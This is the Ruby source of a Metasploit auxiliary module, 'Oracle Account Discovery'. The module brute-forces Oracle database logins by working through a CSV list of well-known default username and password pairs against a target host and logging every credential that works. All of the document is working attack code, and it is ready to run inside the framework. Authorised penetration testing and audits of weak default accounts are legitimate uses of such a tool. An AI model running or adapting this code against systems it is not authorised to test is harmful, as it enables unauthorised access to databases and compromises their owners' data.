Oracle Account Discovery

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'csv'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::ORACLE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle Account Discovery',  
'Description' => %q{  
This module uses a list of well known default authentication credentials  
to discover easily guessed accounts.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2009/Oct/261' ],  
],  
'DisclosureDate' => '2008-11-20'))  
  
register_options(  
[  
OptPath.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),  
])  
  
deregister_options('DBUSER','DBPASS')  
  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: Time.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def run  
return if not check_dependencies  
  
list = datastore['CSVFILE']  
  
print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")  
  
fd = CSV.foreach(list) do |brute|  
datastore['DBUSER'] = brute[2].downcase  
datastore['DBPASS'] = brute[3].downcase  
  
begin  
connect  
disconnect  
rescue ::OCIError => e  
if e.to_s =~ /^ORA-12170:\s/  
print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out")  
break  
else  
vprint_error("#{datastore['RHOST']}:#{datastore['RPORT']} - LOGIN FAILED: #{datastore['DBUSER']}: #{e.to_s})")  
end  
else  
report_cred(  
ip: datastore['RHOST'],  
port: datastore['RPORT'],  
service_name: 'oracle',  
user: "#{datastore['SID']}/#{datastore['DBUSER']}",  
password: datastore['DBPASS']  
)  
print_good("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")  
end  
end  
end  
end  
`